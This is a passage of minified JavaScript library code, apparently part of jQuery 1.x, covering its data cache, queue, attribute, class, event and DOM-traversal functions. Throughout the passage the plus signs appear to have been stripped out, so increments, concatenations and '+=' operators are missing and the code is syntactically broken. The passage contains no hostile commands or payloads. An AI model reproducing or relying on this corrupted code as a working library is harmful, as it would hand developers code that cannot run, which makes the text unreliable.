marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s "width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n){return c||(c=l?e[s]=p.pop()||x.guid  :s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--){delete r[t[i]]}if(n?!I(r):!x.isEmptyObject(r)){return}}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType){return !1}var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()];return !t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a  ){i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]))}x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-" n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null: r ""===r? r:B.test(r)?x.parseJSON(r):r}catch(o){}x.data(e,n,r)}else{r=t}}return r}function I(e){var t;for(t in e){if(("data"!==t||!x.isEmptyObject(e[t]))&&"toJSON"!==t){return !1}}return !0}x.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx") "queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t "queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function(){x._removeData(e,t "queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--){r=x._data(a[s],e "queueHooks"),r&&r.empty&&(i  ,r.empty.add(l))}return l(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).addClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a  ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):" ")){o=0;while(i=t[o  ]){0>r.indexOf(" " i " ")&&(r =i " ")}n.className=x.trim(r)}}}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a  ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):"")){o=0;while(i=t[o  ]){while(r.indexOf(" " i " ")>=0){r=r.replace(" " i " "," ")}}n.className=e?x.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while(t=a[r  ]){o.hasClass(t)?o.removeClass(t):o.addClass(t)}}else{(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!1?"":x._data(this,"__className__")||"")}})},hasClass:function(e){var t=" " e " ",n=0,r=this.length;for(;r>n;n  ){if(1===this[n].nodeType&&(" " this[n].className " ").replace(U," ").indexOf(t)>=0){return !0}}return !1},val:function(e){var n,r,i,o=this[0];if(arguments.length){return i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o ="":x.isArray(o)&&(o=x.map(o,function(e){return null==e?"":e ""})),r=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],r&&"set" in r&&r.set(this,o,"value")!==t||(this.value=o))})}if(o){return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get" in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i 1:r.length,l=0>i?s:o?i:0;for(;s>l;l  ){if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o){return t}a.push(t)}}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--){r=i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0)}return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get" in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set" in o&&(a=o.set(e,r,n))!==t?a:(e.setAttribute(n,r ""),r):(x.removeAttr(e,n),t))}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType){while(n=o[i  ]){r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-" n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)}}},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set" in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get" in o&&null!==(i=o.get(e,n))?i:e[n]}},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-" n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w /g),function(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-" n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n ="","value"===r||n===e.getAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t ""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(. )|)$/;function it(){return !0}function ot(){return !1}function at(){try{return a.activeElement}catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid  ),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--){s=rt.exec(n[u])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on" g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount  ,0,d):h.push(d),x.event.global[g]=!0)}e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--){if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)" h.join("\\.(?:.*\\.|)") "(\\.|$)"),l=o=f.length;while(o--){a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a))}l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else{for(d in c){x.event.remove(e,d t[u],n,r,!0)}}}x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on" g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)" m.join("\\.(?:.*\\.|)") "(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c g)||(u=u.parentNode);u;u=u.parentNode){h.push(u),f=u}f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d  ])&&!n.isPropagationStopped()){n.type=d>1?c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault()}if(n.type=g,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n  ])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a  ])&&!e.isImmediatePropagationStopped()){(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type)){for(;u!=this;u=u.parentNode||this){if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(o=[],a=0;l>a;a  ){i=n[a],r=i.selector " ",o[r]===t&&(o[r]=i.needsContext?x(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i)}o.length&&s.push({elem:u,handlers:o})}}}return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando]){return e}var t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--){n=r[t],e[n]=o[n]}return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.button,l=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||a,o=i.documentElement,r=i.body,e.pageX=n.clientX (o&&o.scrollLeft||r&&r.scrollLeft||0)-(o&&o.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY (o&&o.scrollTop||r&&r.scrollTop||0)-(o&&o.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&l&&(e.relatedTarget=l===e.target?n.toElement:l),e.which||s===t||(e.which=1&s?1:2&s?3:4&s?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==at()&&this.focus){try{return this.focus(),!1}catch(e){}}},delegateType:"focusin"},blur:{trigger:function(){return this===at()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return x.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return x.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=x.extend(new x.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?x.event.trigger(i,null,t):x.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},x.removeEvent=a.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on" t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},x.Event=function(e,n){return this instanceof x.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:ot):this.type=e,n&&x.extend(this,n),this.timeStamp=e&&e.timeStamp||x.now(),this[x.expando]=!0,t):new x.Event(e,n)},x.Event.prototype={isDefaultPrevented:ot,isPropagationStopped:ot,isImmediatePropagationStopped:ot,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},x.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){x.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return(!i||i!==r&&!x.contains(r,i))&&(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),x.support.submitBubbles||(x.event.special.submit={setup:function(){return x.nodeName(this,"form")?!1:(x.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=x.nodeName(n,"input")||x.nodeName(n,"button")?n.form:t;r&&!x._data(r,"submitBubbles")&&(x.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),x._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&x.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return x.nodeName(this,"form")?!1:(x.event.remove(this,"._submit"),t)}}),x.support.changeBubbles||(x.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(x.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),x.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),x.event.simulate("change",this,e,!0)})),!1):(x.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!x._data(t,"changeBubbles")&&(x.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||x.event.simulate("change",this.parentNode,e,!0)}),x._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return x.event.remove(this,"._change"),!Z.test(this.nodeName)}}),x.support.focusinBubbles||x.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){x.event.simulate(t,e.target,x.event.fix(e),!0)};x.event.special[t]={setup:function(){0===n  &&a.addEventListener(e,r,!0)},teardown:function(){0===--n&&a.removeEventListener(e,r,!0)}}}),x.fn.extend({on:function(e,n,r,i,o){var a,s;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(a in e){this.on(a,n,r,e[a],o)}return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1){i=ot}else{if(!i){return this}}return 1===o&&(s=i,i=function(e){return x().off(e),s.apply(this,arguments)},i.guid=s.guid||(s.guid=x.guid  )),this.each(function(){x.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,o;if(e&&e.preventDefault&&e.handleObj){return i=e.handleObj,x(e.delegateTarget).off(i.namespace?i.origType "." i.namespace:i.origType,i.selector,i.handler),this}if("object"==typeof e){for(o in e){this.off(o,n,e[o])}return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=ot),this.each(function(){x.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){x.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?x.event.trigger(e,n,r,!0):t}});var st=/^.[^:#\[\.,]*$/,lt=/^(?:parents|prev(?:Until|All))/,ut=x.expr.match.needsContext,ct={children:!0,contents:!0,next:!0,prev:!0};x.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e){return this.pushStack(x(e).filter(function(){for(t=0;i>t;t  ){if(x.contains(r[t],this)){return !0}}}))}for(t=0;i>t;t  ){x.find(e,r[t],n)}return n=this.pushStack(i>1?x.unique(n):n),n.selector=this.selector?this.selector " " e:e,n},has:function(e){var t,n=x(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t  ){if(x.contains(this,n[t])){return !0}}})},not:function(e){return this.pushStack(ft(this,e||[],!0))},filter:function(e){return this.pushStack(ft(this,e||[],!1))},is:function(e){return !!ft(this,"string"==typeof e&&ut.test(e)?x(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,o=[],a=ut.test(e)||"string"!=typeof e?x(e,t||this.context):0;for(;i>r;r  ){for(n=this[r];n&&n!==t;n=n.parentNode){if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&x.find.matchesSelector(n,e))){n=o.push(n);break}}}return this.pushStack(o.length>1?x.unique(o):o)},index:function(e){return e?"string"==typeof e?x.inArray(this[0],x(e)):x.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?x(e,t):x.makeArray(e&&e.nodeType?[e]:e),r=x.merge(this.get(),n);return this.pushStack(x.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function pt(e,t){do{e=e[t]}while(e&&1!==e.nodeType);return e}x.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return x.dir(e,"parentNode")},parentsUntil:function(e,t,n){return x.dir(e,"parentNode",n)},next:function(e){return pt(e,"nextSibling")},prev:function(e){return pt(e,"previousSibling")},nextAll:function(e){return x.dir(e,"nextSibling")},prevAll:function(e){return x.dir(e,"previousSibling")},nextUntil:function(e,t,n){return x.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return x.dir(e,"previousSibling",n)},siblings:function(e){return x.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return x.sibling(e.firstChild)},contents:function(e){return x.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(ct[e]||(i=x.unique(i)),lt.test(e)&&(i=i.reverse())),this.pushStack(i)}}),x.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not(" e ")"),1===t.length&&1===r.nodeType?x.find.matchesSelector(r,e)?[r]:[]:x.find.matches(e,x.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],o=e[n];while(o&&9!==o.nodeType&&(r===t||1!==o.nodeType||!x(o).is(r))){1===o.nodeType&&i.push(o),o=o[n]}return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling){1===e.nodeType&&e!==t&&n.push(e)}return n}});function ft(e,t,n){if(x.isFunction(t)){return x.grep(e,function(e,r){return !!t.call(e,r,e)!==n})}if(t.nodeType){return x.grep(e,function(e){return e===t!==n})}if("string"==typeof t){if(st.test(t)){return x.filter(t,e,n)}t=x.filter(t,e)}return x.grep(e,function(e){return x.inArray(e,t)>=0!==n})}function dt(e){var t=ht.split("|"),n=e.createDocumentFragment();if(n.createElement){while(t.length){n.createElement(t.pop())}}return n}var ht="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",gt=/ jQuery\d ="(?:null|\d )"/g,mt=RegExp("<(?:" ht ")[\\s/>]","i"),yt=/^\s /,vt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:] )[^>]*)\/>/gi,bt=/<([\w:] )/,xt=/<tbody/i,wt=/<|&#?\w ;/,Tt=/<(?:script|style|link)/i,Ct=/^(?:checkbox|radio)$/i,Nt=/checked\s*(?:[^=]|=\s*.checked.)/i,kt=/^$|\/(?:java|ecma)script/i,Et=/^true\/(.*)/,St=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,At={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:x.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},jt=dt(a),Dt=jt.appendChild(a.createElement("div"));At.optgroup=At.option,At.tbody=At.tfoot=At.colgroup=At.caption=At.thead,At.th=At.td,x.fn.extend({text:function(e){return x.access(this,function(e){return e===t?x.text(this):this.empty().append((this[0]&&this[0].ownerDocument||a).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Lt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?x.filter(e,this):this,i=0;for(;null!=(n=r[i]);i  ){t||1!==n.nodeType||x.cleanData(Ft(n)),n.parentNode&&(t&&x.contains(n.ownerDocument,n)&&_t(Ft(n,"script")),n.parentNode.removeChild(n))}return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t  ){1===e.nodeType&&x.cleanData(Ft(e,!1));while(e.firstChild){e.removeChild(e.firstChild)}e.options&&x.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return 